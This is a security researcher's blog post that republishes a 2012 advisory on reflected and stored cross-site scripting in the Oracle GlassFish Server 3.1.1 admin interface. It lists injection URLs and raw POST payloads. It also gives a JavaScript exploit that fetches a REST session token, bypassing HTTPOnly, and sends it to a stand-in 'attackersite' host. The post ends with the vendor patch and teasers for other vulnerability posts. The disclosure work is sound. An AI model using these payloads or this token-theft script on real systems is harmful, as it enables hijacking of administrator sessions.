Skip to main content

Oracle GlassFish Server - Multiple Cross Site Scripting Vulnerabilities

Following disclosure of Oracle bugs, here is another bug found in Oracle GlassFish Server 3.1.1. The interesting part of this advisory is the exploit. When looking at the features of the Oracle GlassFish Server, I have noticed that with a XSS it would be possible to steal the session token and bypass HTTPOnly protection. I have found this condition to be true if a user is authenticated to the REST interface, which does not have the same security controls of the main web administrative interface. Quite an interesting point to keep in consideration when testing applications that come with a standard interface and a REST interface as well.


Details

Vendor Site: Oracle (www.oracle.com)
Date: April, 19th 2012 – CVE 2012-0551
Affected Software: Oracle GlassFish Server 3.1.1 (build 12)
Researcher: Roberto Suggi Liverani


Description

Security-Assessment.com has discovered that components of the Oracle GlassFish Server administrative web
interface are vulnerable to both reflected  and stored  Cross Site Scripting attacks. All pages where Cross Site
Scripting vulnerabilities were discovered require authentication.

Reflected Cross Site Scripting 

Reflected Cross Site Scripting was discovered in multiple parts of the application.
The table below details where Reflected Cross Site Scripting was detected and which parameters are vulnerable:

Page Affected Method Variable
 /common/applications/lifecycleEdit.jsf?appName=
test%27);alert(document.cookie)//test

 GET  appName
/common/security/realms/realms.jsf?configName=default-config%22%29%3balert%281%29//test
/web/grizzly/networkListeners.jsf?configName=default-configad217%22%29%3balert%281%29//test
/common/security/auditModules/auditModules.jsf
?configName=904895%22);alert(1);//test
/common/security/jacc/jaccProviders.jsf?configName=904895%22);alert(1);//t
/common/security/msgSecurity/msgSecurity.jsf?
configName=904895%22);alert(1);//test
/jms/jmsHosts.jsf?configName=904895%22);alert(1);//test
/web/grizzly/networkListeners.jsf?configName=904895%22);alert(1);//test
/web/grizzly/protocols.jsf?configName=904895%22);alert(1);//test
/web/grizzly/transports.jsf?configName=904895%22);alert(1);//test

 GET  configName
 /xhp?key=aquarium%27%3b%3Cscript%3Ealert
%281%29%3C/script%3E//test
** Works in Internet Explorer (content sniffing)

 GET  key

Stored Cross Site Scripting

The table below details where Stored Cross Site Scripting was detected and which parameters are vulnerable:

Page Affected Rendered Page Method Variable
 /management/domain/create-password-alias  /management/
domain/
list-password-aliases
/cluster/node/
nodeEdit.jsf?
nodeName=localhost-domain1&bare=true

 POST  id
/common/appServer/pswdAliasNew.jsf
** requires a valid javax.faces.ViewState

 /cluster/node/
nodeEdit.jsf?
nodeName=localhost
domain1&bare=true

 POST  propertyForm%3
ApropertySheet
%3ApropertSection
TextField
%3AaliasNameNew
%3AaliasNameNew

Stored Cross Site Scripting - POST Request – REST Interface

POST /management/domain/create-password-alias HTTP/1.1 
Host: 192.168.0.205:4848 
[snip] 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 126 
 
AS_ADMIN_ALIASPASSWORD=testing81&id=%22%3E%3Cscript%3Ealert%28%22viaREST%22%29%3B%3C%2Fscrip
t%3E&remove_empty_entries=true

Stored Cross Site Scripting - POST Request – Standard Web Interface

POST /common/appServer/pswdAliasNew.jsf HTTP/1.1 
Host: 192.168.0.205:4848 
[snip] 
Faces-Request: partial/ajax 
Content-Type: application/x-www-form-urlencoded; charset=UTF-8 
Content-Length: 889 
Cookie: JSESSIONID=146c28566608602e3a73ab65f07c; treeForm_tree-hi=treeForm:tree:nodes 
 
propertyForm%3ApropertySheet%3ApropertSectionTextField%3AaliasNameNew%3AaliasNameNew=%22%3E%
3Cscript%3Ealert(12345545)%3C%2Fscript%3E&propertyForm%3ApropertySheet%3ApropertSectionTextF
ield%3AnewPasswordProp%3ANewPassword=test&propertyForm%3ApropertySheet%3ApropertSectionTextF
ield%3AconfirmPasswordProp%3AConfirmPassword=test&propertyForm%3AhelpKey=ref-pswdaliasnew.html&propertyForm_hidden=propertyForm_hidden&javax.faces.ViewState=-6862830673138436308%3A379100040679698460&com_sun_webui_util_FocusManager_focusElementId=prop
ertyForm%3ApropertyContentPage%3AtopButtons%3AnewButton&javax.faces.source=propertyForm%3Apr
opertyContentPage%3AtopButtons%3AnewButton&javax.faces.partial.execute=%40all&javax.faces.pa
rtial.render=%40all&bare=true&propertyForm%3ApropertyContentPage%3AtopButtons%3AnewButton=pr
opertyForm%3ApropertyContentPage%3AtopButtons%3AnewButton&javax.faces.partial.ajax=true

Exploitation

These vulnerabilities can be exploited in several ways. One example is to include an external JavaScript file,
such as a JavaScript hook file provided by BeEF, the browser exploitation framework. In this particular case, it
is possible to steal the authentication token through the REST interface, bypassing the HTTPOnly protection adopted for the JSESSIONID token in the standard web administrative interface.

Bypassing HTTPOnly protection and token theft via REST interface

There is a feature in Oracle Glassfish Server which allows using cookie as a session management mechanism instead of Basic Authentication within the REST interface.

This feature can be misused using a Cross Site Scripting vulnerability. An exploit scenario for both stored and
reflected Cross Site Scripting vulnerabilities would be to inject a JavaScript payload which performs an XMLHTTPRequest (XHR) request to retrieve a valid session token via the REST interface.

The following exploit can be used to retrieve and steal a session token in case a user is authenticated to the REST Interface, using Basic Authentication. The token can only be used with a cookie named gfresttoken within the REST interface.

Bypassing HTTPOnly and Stealing Session Token
function retrieveToken() 
{ 
var xmlhttp; 
if (window.XMLHttpRequest) 
  {// code for IE7+, Firefox, Chrome, Opera, Safari 
  xmlhttp=new XMLHttpRequest(); 
  } 
else 
  {// code for IE6, IE5 
  xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); 
  } 
xmlhttp.onreadystatechange=function() 
  { 
  if (xmlhttp.readyState==4 && xmlhttp.status==200) 
    {} 
  } 
xmlhttp.open("POST","/management/sessions",true); 
xmlhttp.setRequestHeader("Accept","application/json") 
xmlhttp.send(); 
return xmlhttp; 
} 
 
function stealToken(a) 
{ 
jsonObj = JSON.parse(a.responseText); // token retrieved and can be sent to attacker 
a = document.createElement("IMG"); 
a.setAttribute('src', 'http://attackersite/?token='+jsonObj.extraProperties.token); 
document.body.appendChild(a); // time to grab the token 
} 
 
// this exploit works with browsers that have native JSON support 
 
var a = retrieveToken();// perform XHR to retrieve token 
setTimeout('stealToken(a);',12000); // needs time to load the token, then sends it to 
attackersite 
 
// attacker then needs to set a cookie named gfresttoken with the token value obtained. The 
cookie has to be valid for the domain/IP address of the target Oracle Glassfish Server

Solution

Oracle has created a fix for this vulnerability which has been included as part of Critical Patch Update Advisory -
April 2012. Security-Assessment.com recommends applying the latest patch provided by the vendor.
For more information, visit: http://www.oracle.com/technetwork/topics/security/cpuapr2012-366314.html

Comments

Popular posts from this blog

Pwning a thin client in less than two minutes

Have you ever encountered a zero client or a thin client? It looks something like this...

If yes, keep reading below, if not, then if you encounter one, you know what you can do if you read below...

The model above is a T520, produced by HP - this model and other similar models are typically employed to support a medium/large VDI (Virtual Desktop Infrastructure) enterprise.

These clients run a Linux-based HP ThinPro OS by default and I had a chance to play with image version T6X44017 in particular, which is fun to play with it, since you can get a root shell in a very short time without knowing any password...

Normally, HP ThinPro OS interface is configured in a kiosk mode, as the concept of a thin/zero client is based on using a thick client to connect to another resource. For this purpose, a standard user does not need to authenticate to the thin client per se and would just need to perform a connection - e.g. VMware Horizon View. The user will eventually authenticate through the c…

Microsoft .NET MVC ReDoS (Denial of Service) Vulnerability - CVE-2015-2526 (MS15-101)

Microsoft released a security bulletin (MS15-101) describing a .NET MVC Denial of Service vulnerability (CVE-2015-2526) that I reported back in April. This blog post analyses the vulnerability in details, starting from the theory and then providing a PoC exploit against a MVC web application developed with Visual Studio 2013.
For those of you who want to see the bug, you can directly skip to the last part of this post or watch the video directly... ;-)

A bit of theory

The .NET framework (4.5 tested version) uses backtracking regular expression matcher when performing a match against an expression. Backtracking is based on the NFA (non-deterministic finite automata) algorithm engine which is designed to validate all input states. By providing an “evil” regex expression – an expression for which the engine can be forced to calculate an exponential number of states - it is possible to force the engine to calculate an exponential number of states, leading to a condition defined such as “ca…

UXSS in McAfee Endpoint Security, www.mcafee.com and some extra goodies...

During the HITB2017AMS talk given in Amsterdam with @Steventseeley, I promised that I would have disclosed vulnerabilities affecting a security vendor product other than Trend Micro.

For those who have come to my blog for the first time and are looking at "insecurities" of security vendors, you might be interested as well on how we found 200+ remote code execution vulnerabilities in Trend Micro software...

But this blog post is dedicated to two McAfee products instead: McAfee Endpoint Security and SiteAdvisor Enterprise (now part of McAfee Endpoint Security). For simplicity, I will just refer to McAfee Endpoint Security for the rest of this post.

First let's demonstrate a particular type of XSS, a UXSS, considering that fact that it only affects the McAfee Endpoint Security plugin and does not depend on a particular web site or web application.

There are two different injection points:

-UXSS when user visits a red labelled web site - the payload is rendered in the BlockP…